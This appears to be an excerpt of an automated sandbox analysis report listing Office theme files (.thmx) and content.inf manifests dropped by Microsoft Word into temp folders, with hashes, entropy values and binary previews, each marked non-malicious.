Preview:	..[.F.i.l.e.].....O.r.i.g.i.n.a.l.N.a.m.e.:. .B.e.r.l.i.n...t.h.m.x.....C.o.m.p.o.n.e.n.t.:. .P.P.T.F.i.l.e.s.....R.e.q.V.e.r.:. .1.4.....E.x.e.c.u.t.a.b.l.e.:. .{.P.P.}.....S.t.o.r.e.L.o.c.a.t.i.o.n.:. .{.M.y. .T.e.m.p.l.a.t.e.s.}.....C.o.m.m.a.n.d.:. .{.F.i.l.e.P.a.t.h.}.....

C:\Users\user\AppData\Local\Temp\TCDC433.tmp\Parcel.thmx

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft OOXML
Category:	dropped
Size (bytes):	608122
Entropy (8bit):	7.729143855239127
Encrypted:	false
SSDEEP:	6144:Ckl6KRKwg9jf2q/bN69OuGFlC/DUhq68xOcJzGYnTxlLqU8dmTW:8yKwgZ2qY9kA7Uhq68H3ybmq
MD5:	8BA551EEC497947FC39D1D48EC868B54
SHA1:	02FA15FDAF0D7E2F5D44CAE5FFAE49E8F91328DF
SHA-256:	DB2E99B969546E431548EBD58707FC001BBD1A4BDECAD387D194CC9C6D15AC89
SHA-512:	CC97F9B2C83FF7CAC32AB9A9D46E0ACDE13EECABECD653C88F74E4FC19806BB9498D2F49C4B5581E58E7B0CB95584787EA455E69D99899381B592BEA177D4D4B
Malicious:	false
Preview:	PK.........LGE,.{E...#P......[Content_Types].xml..Mo.0.....Z..N7.=l......V0.-o..j?...H..sa......./UCb.'...r...w.i..e..<[....{2..U.m..N.{...r.....3.fj.o......2.*....;.L.6..&,D.Cld8...a.gZf.......r-v..><....~/......\|Zk.......a.R&.d.(.$..6..}.:.....3......1..[.p.....?..+....R...y,.fod.....e...-.\|..#..]j....n:...f...-J...i.^.:Y....T..........m^..~GNp../e}...N....a..5.d.8YcN..5.d.8Y...7..A..e...7Q."3...../.sL._...v...n..b..2].v....n.t....Z...Uk...j.&.Z....im\|.r....B.....7DaBuN.... ...>..>..>..>..>..>..>.........V}-.....Q}#.&T..j...r..]..CZ..CZ..CZ..CZ..CZ..CZ..CZ..i.o.,-k..b....7FaBuN.... ...>..>..>..>..>..>..>.........V}-...Q}..&T..j...r..]..CZ..CZ..CZ..CZ..CZ..CZ..CZ..i.o.,-k..b....7EaBuN.... ...>..>..>..>..>..>..>.........V}-...Q}3.&T..j...r..]..CZ..CZ..CZ..CZ..CZ..CZ..CZ..i.o.,-k..b.\}..)...A.......[..PK.........LG.s@.....O......._rels/.rels...J.1.._%..d...t......}...n2!..}6.>..`(.v...K`2...70...........84P....

C:\Users\user\AppData\Local\Temp\TCDC433.tmp\content.inf

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	278
Entropy (8bit):	3.516359852766808
Encrypted:	false
SSDEEP:	6:Q+sxnxUXKwRELpmlJ0+3FbnKf68dADryMluxHFpwwl:Q+sxny6qymD0wbnKNAH/lMz1
MD5:	960E28B1E0AB3522A8A8558C02694ECF
SHA1:	8387E9FD5179A8C811CCB5878BAC305E6A166F93
SHA-256:	2707FCA8CEC54DF696F19F7BCAD5F0D824A2AC01B73815DE58F3FCF0AAB3F6A0
SHA-512:	89EA06BA7D18B0B1EA624BBC052F73366522C231BD3B51745B92CF056B445F9D655F9715CBDCD3B2D02596DB4CD189D91E2FE581F2A2AA2F6D814CD3B004950A
Malicious:	false
Preview:	..[.F.i.l.e.].....O.r.i.g.i.n.a.l.N.a.m.e.:. .P.a.r.c.e.l...t.h.m.x.....C.o.m.p.o.n.e.n.t.:. .P.P.T.F.i.l.e.s.....R.e.q.V.e.r.:. .1.4.....E.x.e.c.u.t.a.b.l.e.:. .{.P.P.}.....S.t.o.r.e.L.o.c.a.t.i.o.n.:. .{.M.y. .T.e.m.p.l.a.t.e.s.}.....C.o.m.m.a.n.d.:. .{.F.i.l.e.P.a.t.h.}.....

C:\Users\user\AppData\Local\Temp\TCDC4B3.tmp\Circuit.thmx

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Zip archive data, at least v2.0 to extract, compression method=deflate
Category:	dropped
Size (bytes):	1463634
Entropy (8bit):	7.898382456989258
Encrypted:	false
SSDEEP:	24576:75MGNW/UpLkupMAqDJhNHK4/TuiKbdhbZM+byLH/:7ZwUpLkulkHK46iiDZHeLH/
MD5:	ACBA78931B156E4AF5C4EF9E4AB3003B
SHA1:	2A1F506749A046ECFB049F23EC43B429530EC489
SHA-256:	943E4044C40ABA93BD7EA31E8B5EBEBD7976085E8B1A89E905952FA8DAC7B878
SHA-512:	2815D912088BA049F468CA9D65B92F8951A9BE82AB194DBFACCF0E91F0202820F5BC9535966654D28F69A8B92D048808E95FEA93042D8C5DEA1DCB0D58BE5175
Malicious:	false
Preview:	PK.........{MB.f}......p......[Content_Types].xml..`.I.%&/m.{.J.J..t...`.$.@........iG#).*..eVe]f.@....{...{...;.N'...?\fd.l..J..!....?~\|.?"....\|.{.[..e^7E......Gi..V.by..G..\|.......U..t.\|..mW...m..\|.5.j./..^d-.Y_.]e..E~wog...j...v......?..u....c.v...(=.v........F_..U..G...T.e.y)[..b.......3.m....6.X5.P........_...b../..}.-......~.-..z..d.......j.^.+c..E.V..~3}..U.7..~p.>.E..9^d....4%}.E.$....N..r....<....%...%.?....w.u...h........D...w.....h........Dkw...x..T....T....T....T....T....T....j...."[.J.....;..!4...M...............t.n-.{..skp...[;.......F...j.7...4fC...K1..K/..K-..K+..K)..K'..f9......Fl._.........d0...?7K7].........A.......Fl.............Ft....u.......Ft........\.......w....R.......R.......R........o...].`.....A....#.`..\.....S.._...4...o.........W<x#..............w#...r.nD..]....\.~....\|......b...^...Z...V...R...N..W<x......l._...l..?.A......xp_Q..y<h..tL.i.?HNn...]..........r.nD..]~.........wy~7......Ft...........E/\|c.

C:\Users\user\AppData\Local\Temp\TCDC4B3.tmp\content.inf

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	280
Entropy (8bit):	3.5286004619027067
Encrypted:	false
SSDEEP:	6:Q+sxnxUXOzXkRELpmlJ0+3FbnKf68dADryMluxHFpwwl:Q+sxny6WymD0wbnKNAH/lMz1
MD5:	40FF521ED2BA1B015F17F0B0E5D95068
SHA1:	0F29C084311084B8FDFE67855884D8EB60BDE1A6
SHA-256:	CC3575BA195F0F271FFEBA6F6634BC9A2CF5F3BE448F58DBC002907D7C81CBBB
SHA-512:	9507E6145417AC730C284E58DC6B2063719400B395615C40D7885F78F57D55B251CB9C954D573CB8B6F073E4CEA82C0525AE90DEC68251C76A6F1B03FD9943C0
Malicious:	false
Preview:	..[.F.i.l.e.].....O.r.i.g.i.n.a.l.N.a.m.e.:. .C.i.r.c.u.i.t...t.h.m.x.....C.o.m.p.o.n.e.n.t.:. .P.P.T.F.i.l.e.s.....R.e.q.V.e.r.:. .1.4.....E.x.e.c.u.t.a.b.l.e.:. .{.P.P.}.....S.t.o.r.e.L.o.c.a.t.i.o.n.:. .{.M.y. .T.e.m.p.l.a.t.e.s.}.....C.o.m.m.a.n.d.:. .{.F.i.l.e.P.a.t.h.}.....

C:\Users\user\AppData\Local\Temp\TCDC4E3.tmp\Savon.thmx

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft OOXML
Category:	dropped
Size (bytes):	1204049
Entropy (8bit):	7.92476783994848
Encrypted:	false
SSDEEP:	24576:+3zSQBxvOUIpHLYTCEmS1Wu09jRalJP3sdgnmAOFt0zU4L0MRx5QNn5:+bvI5UTCPu09qP3JPOFoR4N5
MD5:	FD5BBC58056522847B3B75750603DF0C
SHA1:	97313E85C0937739AF7C7FC084A10BF202AC9942
SHA-256:	44976408BD6D2703BDBE177259061A502552193B1CD05E09B698C0DAC3653C5F
SHA-512:	DBD72827044331215A7221CA9B0ECB8809C7C79825B9A2275F3450BAE016D7D320B4CA94095F7CEF4372AC63155C78CA4795E23F93166D4720032ECF9F932B8E
Malicious:	false
Preview:	PK..........1A..d T....P......[Content_Types].xml..Ms.@.....!...=.7....kX 5o.,L..<..........d..g/..dw.]...C...9...#g/."L..;...#. ]..f...w../._.3Y8..X.[..7._.[...K3..3.4......D.]l.?...~.&J&...s...;...H9...e.3.q.....k-.0>Lp:.7..eT...Y...P...OVg.....G..).aV...\Z.x...W.>f...oq.8.....I?Ky...g..."...J?....A$zL.].7.M.^..\....C..d/;.J0.7k.X4.e..?N{....r.."LZx.H?. ......;r.+...A<.;U.....4...!'k...s.&..)'k...d..d......._E..D...o..o...o...f.7;s..]...Uk6d.j..MW....5[C].f#...l;u.M..Z.../iM\|...b...s.....0..O.... ...>..>..>..>..>..>..>.........2V}......Q}#.&T...rU....\..\..\..\..\..\..\..\.W..W.^Z....Q}c;.o...>.Z..\.v...............................*Z....K.X.5X8.obG.MP.P.'P.U}.k..rU..rU..rU..rU..rU..rU..rU..rU_EK_}.zi.....G.M.).....j...r..]..CZ..CZ..CZ..CZ..CZ..CZ..CZ..h.oZ/-c..`....7CaBu.@-W.A.]..U}H.U}H.U}H.U}H.U}H.U}H.U}H.U}.-}...e...,...\|...].k.........PK..........1A.s@.....O......._rels/.rels...J.1.._%..d...t......}...n2!..}6.>..`(.v...K`2...70...

C:\Users\user\AppData\Local\Temp\TCDC4E3.tmp\content.inf

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	276
Entropy (8bit):	3.5364757859412563
Encrypted:	false
SSDEEP:	6:Q+sxnxUXARkRELpmlJ0+3FbnKf68dADryMluxHFpwwl:Q+sxnywMymD0wbnKNAH/lMz1
MD5:	CD465E8DA15E26569897213CA9F6BC9C
SHA1:	9EA9B5E6C9B7BF72A777A21EC17FD82BC4386D4C
SHA-256:	D4109317C2DBA1D7A94FC1A4B23FA51F4D0FC8E1D9433697AAFA72E335192610
SHA-512:	869A42679F96414FE01FE1D79AF7B33A0C9B598B393E57E0E4D94D68A4F2107EC58B63A532702DA96A1F2F20CE72E6E08125B38745CD960DF62FE539646EDD8D
Malicious:	false
Preview:	..[.F.i.l.e.].....O.r.i.g.i.n.a.l.N.a.m.e.:. .S.a.v.o.n...t.h.m.x.....C.o.m.p.o.n.e.n.t.:. .P.P.T.F.i.l.e.s.....R.e.q.V.e.r.:. .1.4.....E.x.e.c.u.t.a.b.l.e.:. .{.P.P.}.....S.t.o.r.e.L.o.c.a.t.i.o.n.:. .{.M.y. .T.e.m.p.l.a.t.e.s.}.....C.o.m.m.a.n.d.:. .{.F.i.l.e.P.a.t.h.}.....

C:\Users\user\AppData\Local\Temp\TCDC583.tmp\Droplet.thmx

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft OOXML
Category:	dropped
Size (bytes):	1750795
Entropy (8bit):	7.892395931401988
Encrypted:	false
SSDEEP:	24576:DyeAqDJpUDH3xk8ZKIBuX3TPtd36v4o5d4PISMETGBP6eUP+xSeW3v0HKPsc:uRqUjSTPtd36AFDM/BP6eUeW3v0Fc
MD5:	529795E0B55926752462CBF32C14E738
SHA1:	E72DFF8354DF2CB6A5698F14BBD1805D72FEEAFF
SHA-256:	8D341D1C24176DC6B67104C2AF90FABD3BFF666CCC0E269381703D7659A6FA05
SHA-512:	A51F440F1E19C084D905B721D0257F7EEE082B6377465CB94E677C29D4E844FD8021D0B6BA26C0907B72B84157C60A3EFEDFD96C16726F6ABEA8D896D78B08CE
Malicious:	false
Preview:	PK.........{MB.f}......p......[Content_Types].xml..`.I.%&/m.{.J.J..t...`.$.@........iG#).*..eVe]f.@....{...{...;.N'...?\fd.l..J..!....?~\|.?"....\|.{.[..e^7E......Gi..V.by..G..\|.......U..t.\|..mW...m..\|.5.j./..^d-.Y_.]e..E~wog...j...v......?..u....c.v...(=.v........F_..U..G...T.e.y)[..b.......3.m....6.X5.P........_...b../..}.-......~.-..z..d.......j.^.+c..E.V..~3}..U.7..~p.>.E..9^d....4%}.E.$....N..r....<....%...%.?....w.u...h........D...w.....h........Dkw...x..T....T....T....T....T....T....j...."[.J.....;..!4...M...............t.n-.{..skp...[;.......F...j.7...4fC...K1..K/..K-..K+..K)..K'..f9......Fl._.........d0...?7K7].........A.......Fl.............Ft....u.......Ft........\.......w....R.......R.......R........o...].`.....A....#.`..\.....S.._...4...o.........W<x#..............w#...r.nD..]....\.~....\|......b...^...Z...V...R...N..W<x......l._...l..?.A......xp_Q..y<h..tL.i.?HNn...]..........r.nD..]~.........wy~7......Ft...........E/\|c.

C:\Users\user\AppData\Local\Temp\TCDC583.tmp\content.inf

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	280
Entropy (8bit):	3.528155916440219
Encrypted:	false
SSDEEP:	6:Q+sxnxUXcmlDuRELpmlJ0+3FbnKf68dADryMluxHFpwwl:Q+sxnyMmloymD0wbnKNAH/lMz1
MD5:	AA7B919B21FD42C457948DE1E2988CB3
SHA1:	19DA49CF5540E5840E95F4E722B54D44F3154E04
SHA-256:	5FFF5F1EC1686C138192317D5A67E22A6B02E5AAE89D73D4B19A492C2F5BE2F9
SHA-512:	01D27377942F69A0F2FE240DD73A1F97BB915E19D3D716EE4296C6EF8D8933C80E4E0C02F6C9FA72E531246713364190A2F67F43EDBE12826A1529BC2A629B00
Malicious:	false
Preview:	..[.F.i.l.e.].....O.r.i.g.i.n.a.l.N.a.m.e.:. .D.r.o.p.l.e.t...t.h.m.x.....C.o.m.p.o.n.e.n.t.:. .P.P.T.F.i.l.e.s.....R.e.q.V.e.r.:. .1.4.....E.x.e.c.u.t.a.b.l.e.:. .{.P.P.}.....S.t.o.r.e.L.o.c.a.t.i.o.n.:. .{.M.y. .T.e.m.p.l.a.t.e.s.}.....C.o.m.m.a.n.d.:. .{.F.i.l.e.P.a.t.h.}.....

C:\Users\user\AppData\Local\Temp\TCDC584.tmp\Gallery.thmx

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft OOXML
Category:	dropped
Size (bytes):	1091485
Entropy (8bit):	7.906659368807194
Encrypted:	false
SSDEEP:	24576:oBpmCkw3Tg/euEB+UdoC4k7ytHkHA6B/puqW2MIkTeSBmKrZHQ:MR3c/AseydwppC7veSBmWHQ
MD5:	2192871A20313BEC581B277E405C6322
SHA1:	1F9A6A5E10E1C3FFEB6B6725C5D2FA9ECDF51085
SHA-256:	A06B302954A4C9A6A104A8691864A9577B0BFEA240B0915D9BEA006E98CDFFEC
SHA-512:	6D8844D2807BB90AEA6FE0DDDB9C67542F587EC9B7FC762746164B2D4A1A99EF8368A70C97BAD7A986AAA80847F64408F50F4707BB039FCCC509133C231D53B9
Malicious:	false
Preview:	PK...........G`.jaV....P......[Content_Types].xml...n.@...W......T@.mwM.E....)....y...H}.N..ll8.h5g6Q.=3_......?...x..e^Di.p.^.ud...(Y/..{w..r..9.../M...Q*{..E...(.4..>..y,.>..~&..b-.a.?..4Q2Q=.2.......m....>-....;]......N'..A...g.D.m.@(}..'.3Z....#....(+....-q<uq.+....?....1.....Y?Oy......O"..J?....Q$zT.].7.N..Q Wi.....<.........-..rY....hy.x[9.b.%-<.V?.(......;r.+...Q<.;U.....4...!'k...s.&..)'k...d.s..}R....o".D.I..7..7.KL.7..Z.....v..b.5.2].f....l.t....Z...Uk...j.&.U-....&>.ia1..9lhG..Q.P.'P.U}.k..rU..rU..rU..rU..rU..rU..rU..rU_EK_}.zi.....G.........j...r..]..CZ..CZ..CZ..CZ..CZ..CZ..CZ..h.oT/-c..`....7FaBu.@-W.A.]..U}H.U}H.U}H.U}H.U}H.U}H.U}H.U}.-}...e...,..7...&(L.....>.kw...i...i...i...i...i...i...i.......I...U_.....vT.....}..\...v..W.!-W.!-W.!-W.!-W.!-W.!-W.!-W.U...7.....k.pT...0..O.... ...>..>..>..>..>..>..>......f..2V}....W>jO....5..].?.o..oPK...........G.s@.....O......._rels/.rels...J.1.._%..d...t......}...n2!..}6.>..`(.v...K`2...70.

C:\Users\user\AppData\Local\Temp\TCDC584.tmp\content.inf

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	280
Entropy (8bit):	3.5301133500353727
Encrypted:	false
SSDEEP:	6:Q+sxnxUXp2pRELpmlJ0+3FbnKf68dADryMluxHFpwwl:Q+sxnyZ2vymD0wbnKNAH/lMz1
MD5:	1C5D58A5ED3B40486BC22B254D17D1DD
SHA1:	69B8BB7B0112B37B9B5F9ADA83D11FBC99FEC80A
SHA-256:	EBE031C340F04BB0235FE62C5A675CF65C5CC8CE908F4621A4F5D7EE85F83055
SHA-512:	4736E4F26C6FAAB47718945BA54BD841FE8EF61F0DBA927E5C4488593757DBF09689ABC387A8A44F7C74AA69BA89BEE8EA55C87999898FEFEB232B1BA8CC7086
Malicious:	false
Preview:	..[.F.i.l.e.].....O.r.i.g.i.n.a.l.N.a.m.e.:. .G.a.l.l.e.r.y...t.h.m.x.....C.o.m.p.o.n.e.n.t.:. .P.P.T.F.i.l.e.s.....R.e.q.V.e.r.:. .1.4.....E.x.e.c.u.t.a.b.l.e.:. .{.P.P.}.....S.t.o.r.e.L.o.c.a.t.i.o.n.:. .{.M.y. .T.e.m.p.l.a.t.e.s.}.....C.o.m.m.a.n.d.:. .{.F.i.l.e.P.a.t.h.}.....

C:\Users\user\AppData\Local\Temp\TCDC5F3.tmp\Damask.thmx

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft OOXML
Category:	dropped
Size (bytes):	2218943
Entropy (8bit):	7.942378408801199
Encrypted:	false
SSDEEP:	49152:8mwK3gH/l4hM06Wqnnl1IdO9wASFntrPEWNe7:863gHt4hM9WWnMdO9w35PEWK
MD5:	EE33FDA08FBF10EF6450B875717F8887
SHA1:	7DFA77B8F4559115A6BF186EDE51727731D7107D
SHA-256:	5CF611069F281584DE3E63DE8B99253AA665867299DC0192E8274A32A82CAA20
SHA-512:	AED6E11003AAAACC3FB28AE838EDA521CB5411155063DFC391ACE2B9CBDFBD5476FAB2B5CC528485943EBBF537B95F026B7B5AB619893716F0A91AEFF076D885
Malicious:	false
Preview:	PK.........{MBS'..t...ip......[Content_Types].xml..`.I.%&/m.{.J.J..t...`.$.@........iG#).*..eVe]f.@....{...{...;.N'...?\fd.l..J..!....?~\|.?"....\|.{.[..e^7E......Gi..V.by..G..\|.......U..t.\|..mW...m..\|.5.j./..^d-.Y_.]e..E~wog...j...v......?..u....c...W..G.4D_.}T,.@...}....R.Z..4k.....Y..mEkLor.f^..O..P...`.../.\|u1..Y.....nK.......u=..2.tu~^L.Y5]/...~+.v...o....j.`?.S...../.by.\|..>."kZbs....H.9..m.z.]W.V.?~v........;...N.......w....;.z..N.......w.....R.._..w._..w._..w._..w._..w._..w.n..Ofu.-..K.e........T..q.F...R[...~.u.....Z..F....7.?.v....5O....zot..i.....b...^...Z...V...R...N...r./.?........=....#.`..\~n.n...)J./.......7........+......Q..]n............w......Ft........\|......b...^...Z...V...R...N..W<x......l._...l..?.A......x....x.9.\|.8..............u................w#.....nD..]...........R.......R.......R........o...].`.....A....#.`..\.....+J./.......7........+......Q..]n.........w9~7......Ft........\|......b...^.c..-...-...-

C:\Users\user\AppData\Local\Temp\TCDC5F3.tmp\content.inf

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	278
Entropy (8bit):	3.544065206514744
Encrypted:	false
SSDEEP:	6:Q+sxnxUXCARELpmlJ0+3FbnKf68dADryMluxHFpwwl:Q+sxnyy6ymD0wbnKNAH/lMz1
MD5:	06B3DDEFF905F75FA5FA5C5B70DCB938
SHA1:	E441B94F0621D593DC870A27B28AC6BE3842E7DB
SHA-256:	72D49BDDE44DAE251AEADF963C336F72FA870C969766A2BB343951E756B3C28A
SHA-512:	058792BAA633516037E7D833C8F59584BA5742E050FA918B1BEFC6F64A226AB3821B6347A729BEC2DF68BB2DFD2F8E27947F74CD4F6BDF842606B9DEDA0B75CC
Malicious:	false
Preview:	..[.F.i.l.e.].....O.r.i.g.i.n.a.l.N.a.m.e.:. .D.a.m.a.s.k...t.h.m.x.....C.o.m.p.o.n.e.n.t.:. .P.P.T.F.i.l.e.s.....R.e.q.V.e.r.:. .1.4.....E.x.e.c.u.t.a.b.l.e.:. .{.P.P.}.....S.t.o.r.e.L.o.c.a.t.i.o.n.:. .{.M.y. .T.e.m.p.l.a.t.e.s.}.....C.o.m.m.a.n.d.:. .{.F.i.l.e.P.a.t.h.}.....

C:\Users\user\AppData\Local\Temp\TCDC604.tmp\Slate.thmx

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft OOXML
Category:	dropped
Size (bytes):	2357051
Entropy (8bit):	7.929430745829162
Encrypted:	false
SSDEEP:	49152:tfVcGO3JiR6SgT7/bOCrKCsaFCX3CzwovQTSwW8nX:pVcG2iRedsaoXSzeOwWEX
MD5:	5BDE450A4BD9EFC71C370C731E6CDF43
SHA1:	5B223FB902D06F9FCC70C37217277D1E95C8F39D
SHA-256:	93BFC6AC1DC1CFF497DF92B30B42056C9D422B2321C21D65728B98E420D4ED50
SHA-512:	2365A9F76DA07D705A6053645FD2334D707967878F930061D451E571D9228C74A8016367525C37D09CB2AD82261B4B9E7CAEFBA0B96CE2374AC1FAC6B7AB5123
Malicious:	false
Preview:	PK.........{MB.f}......p......[Content_Types].xml..`.I.%&/m.{.J.J..t...`.$.@........iG#).*..eVe]f.@....{...{...;.N'...?\fd.l..J..!....?~\|.?"....\|.{.[..e^7E......Gi..V.by..G..\|.......U..t.\|..mW...m..\|.5.j./..^d-.Y_.]e..E~wog...j...v......?..u....c.v...(=.v........F_..U..G...T.e.y)[..b.......3.m....6.X5.P........_...b../..}.-......~.-..z..d.......j.^.+c..E.V..~3}..U.7..~p.>.E..9^d....4%}.E.$....N..r....<....%...%.?....w.u...h........D...w.....h........Dkw...x..T....T....T....T....T....T....j...."[.J.....;..!4...M...............t.n-.{..skp...[;.......F...j.7...4fC...K1..K/..K-..K+..K)..K'..f9......Fl._.........d0...?7K7].........A.......Fl.............Ft....u.......Ft........\.......w....R.......R.......R........o...].`.....A....#.`..\.....S.._...4...o.........W<x#..............w#...r.nD..]....\.~....\|......b...^...Z...V...R...N..W<x......l._...l..?.A......xp_Q..y<h..tL.i.?HNn...]..........r.nD..]~.........wy~7......Ft...........E/\|c.

C:\Users\user\AppData\Local\Temp\TCDC604.tmp\content.inf

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	276
Entropy (8bit):	3.516423078177173
Encrypted:	false
SSDEEP:	6:Q+sxnxUX7kARELpmlJ0+3FbnKf68dADryMluxHFpwwl:Q+sxny5ymD0wbnKNAH/lMz1
MD5:	5402138088A9CF0993C08A0CA81287B8
SHA1:	D734BD7F2FB2E0C7D5DB8F70B897376ECA935C9A
SHA-256:	5C9F5E03EEA4415043E65172AD2729F34BBBFC1A1156A630C65A71CE578EF137
SHA-512:	F40A8704F16AB1D5DCD861355B07C7CB555934BB9DA85AACDCF869DC942A9314FFA12231F9149D28D438BE6A1A14FCAB332E54B6679E29AD001B546A0F48DE64
Malicious:	false
Preview:	..[.F.i.l.e.].....O.r.i.g.i.n.a.l.N.a.m.e.:. .S.l.a.t.e...t.h.m.x.....C.o.m.p.o.n.e.n.t.:. .P.P.T.F.i.l.e.s.....R.e.q.V.e.r.:. .1.4.....E.x.e.c.u.t.a.b.l.e.:. .{.P.P.}.....S.t.o.r.e.L.o.c.a.t.i.o.n.:. .{.M.y. .T.e.m.p.l.a.t.e.s.}.....C.o.m.m.a.n.d.:. .{.F.i.l.e.P.a.t.h.}.....

C:\Users\user\AppData\Local\Temp\TCDC6B2.tmp\Mesh.thmx

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft OOXML
Category:	dropped
Size (bytes):	3078052
Entropy (8bit):	7.954129852655753
Encrypted:	false
SSDEEP:	49152:bSEjlpY8skyFHuj2yY0ciM9U2NCVBB4YFzYFw7IaJE2VRK+Xn9DOOe9pp9N9Hu:bfp5sksA3cimUVxV05aJE2fKaDOXdN9O
MD5:	CDF98D6B111CF35576343B962EA5EEC6
SHA1:	D481A70EC9835B82BD6E54316BF27FAD05F13A1C
SHA-256:	E3F108DDB3B8581A7A2290DD1E220957E357A802ECA5B3087C95ED13AD93A734
SHA-512:	95C352869D08C0FE903B15311622003CB4635DE8F3A624C402C869F1715316BE2D8D9C0AB58548A84BBB32757E5A1F244B1014120543581FDEA7D7D9D502EF9C
Malicious:	false
Preview:	PK..........1AS'......ip......[Content_Types].xml..n.@.._......8ie'......}.......(y...H}......3Fi..%2.v?..3..._...d=..E.g.....7.i.-.t5.6......}}.m9r.......m...ML.g.M.eV$.r...M..l0...A...M..j;.w={o.f..F....i..v......5..d;..D.ySa...M&..qdw>.O.{h...\|w..5.]..'.CS<.:8C}.g.\|E.../..>..].Tnml..I.......r.Gv.E....7.;.E......4/l.....6.K.C?1qz.O.v_..r......\c.c.>..lS........X.N.3N.sN..N.)'.%'..'..N.pL.E...T.!..CR....Ie..k.o..M..w.B.0}..3....v..+....,.q..pz.......v{.;....s3.\|..V..ZZ......0.[.....x.....!.!~.8.e..n..&.}p....s.i.. ..[]...q.r....~..+.A\...q............e.-)h9..."Z.>...5-C..`..g.}........r.A.+..\...r.>.... .W.\...re?..%.-/hiA..ZR.r.W.D.\}.EK..kZ.>......5..9.&T......Wlu.b....}..+.A\...q......~.WK.Z^..........>.h..`......}.....^h....L...H...!...r.>... .W...\...rE?............-+hIA..\}..r...-}..i..`..G..j..).&T......Wlu.b....}..+.A\...q......~.WK.Z^..........>.h..`......}.....^j..K.L...H...!...r.>... .W...\...rE?............-+hIA..\}..r...-}..i.

C:\Users\user\AppData\Local\Temp\TCDC6B2.tmp\content.inf

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	274
Entropy (8bit):	3.5303110391598502
Encrypted:	false
SSDEEP:	6:Q+sxnxUXzRELpmlJ0+3FbnKf68dADryMluxHFpwwl:Q+sxnylymD0wbnKNAH/lMz1
MD5:	8D1E1991838307E4C2197ECB5BA9FA79
SHA1:	4AD8BB98DC9C5060B58899B3E9DCBA6890BC9E93
SHA-256:	4ABA3D10F65D050A19A3C2F57A024DBA342D1E05706A8A3F66B6B8E16A980DB9
SHA-512:	DCDC9DB834303CC3EC8F1C94D950A104C504C588CE7631CE47E24268AABC18B1C23B6BEC3E2675E8A2A11C4D80EBF020324E0C7F985EA3A7BBC77C1101C23D01
Malicious:	false
Preview:	..[.F.i.l.e.].....O.r.i.g.i.n.a.l.N.a.m.e.:. .M.e.s.h...t.h.m.x.....C.o.m.p.o.n.e.n.t.:. .P.P.T.F.i.l.e.s.....R.e.q.V.e.r.:. .1.4.....E.x.e.c.u.t.a.b.l.e.:. .{.P.P.}.....S.t.o.r.e.L.o.c.a.t.i.o.n.:. .{.M.y. .T.e.m.p.l.a.t.e.s.}.....C.o.m.m.a.n.d.:. .{.F.i.l.e.P.a.t.h.}.....

C:\Users\user\AppData\Local\Temp\TCDC780.tmp\Main_Event.thmx

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft OOXML
Category:	dropped
Size (bytes):	2924237
Entropy (8bit):	7.970803022812704
Encrypted:	false
SSDEEP:	49152:mc4NEo4XNd5wU5qTkdC4+K9u5b/i40RKRAO/cLf68wy9yxKrOUURBgmai2prH:mJef5yTSoKMF//DRGJwLx9DBaH
MD5:	5AF1581E9E055B6E323129E4B07B1A45
SHA1:	B849F85BCAF0E1C58FA841FFAE3476D20D33F2DD
SHA-256:	BDC9FBF81FBE91F5BF286B2CEA00EE76E70752F7E51FE801146B79F9ADCB8E98
SHA-512:	11BFEF500DAEC099503E8CDB3B4DE4EDE205201C0985DB4CA5EBBA03471502D79D6616D9E8F471809F6F388D7CBB8B0D0799262CBE89FEB13998033E601CEE09
Malicious:	false
Preview:	